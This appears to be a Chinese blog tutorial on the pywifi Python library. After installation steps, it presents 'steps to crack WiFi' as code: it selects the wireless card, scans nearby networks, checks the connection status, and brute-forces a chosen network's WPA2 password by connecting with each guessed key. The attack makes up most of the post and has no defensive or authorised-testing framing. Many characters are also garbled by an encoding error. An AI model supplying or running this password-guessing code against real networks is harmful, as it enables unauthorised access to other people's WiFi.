030 Python語法之pywifi

pywifi安裝

  1. 拿到pywifi文件夾
  2. 如果有pip環(huán)境變量就直接cd進入pywifi目錄
  3. 輸入pip install .
  4. 如果沒有環(huán)境變量就cd進pip的目錄
  5. 然后pip install pywifi目錄

破解WiFi的步驟

1. 抓取無線網卡

pywifi.set_loglevel(logging.INFO)   # 輸出日志
wifi = pywifi.PyWiFi()  # 抓取WiFi接口
ifaceList = wifi.interfaces()   # 抓取無線網卡列表
iface = ifaceList[0] # 如果有無線網卡第一個一般就是你要的

2. 找到WiFi列表

wifi = pywifi.PyWiFi()  # 抓取WiFi接口
iface = wifi.interfaces()[0]   # 抓取無線網卡列表
iface.scan() # 掃描
time.sleep(5)
bsses = iface.scan_results()    # 掃描到的結果
for pjwifi in bsses:
    print(pjwifi.ssid)  # 所有WiFi名
    print(pjwifi.bssid) # mac地址
    print(pjwifi.signal)    # 信號強度(值越大信號越強)

3. 測試網卡狀態(tài)

iface = wifi.interfaces()[0]
iface.status()-->
const.IFACE_DISCONNECTED:0沒有連接
const.IFACE_INACTIVE:2沒有激活
const.IFACE_CONNECTED:1連接好了

4. 針對某一WiFi進行密碼爆破

'''爆破密碼'''
profile = pywifi.Profile()  # 創(chuàng)建wifi鏈接文件
profile.ssid = wifiName  # wifi名稱,不加會報錯
profile.auth = const.AUTH_ALG_OPEN  # 網卡的開放
profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
profile.key = pwd  # 密碼
self.iface.remove_all_network_profiles()  # 刪除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile)  # 設定新的鏈接文件
self.iface.connect(tmp_profile)  # 鏈接
time.sleep(5)

connectStatus = self.iface.status() == const.IFACE_CONNECTED

self.iface.disconnect()  # 斷開連接
time.sleep(1)
最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
【社區(qū)內容提示】社區(qū)部分內容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發(fā)布,文章內容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內容

友情鏈接更多精彩內容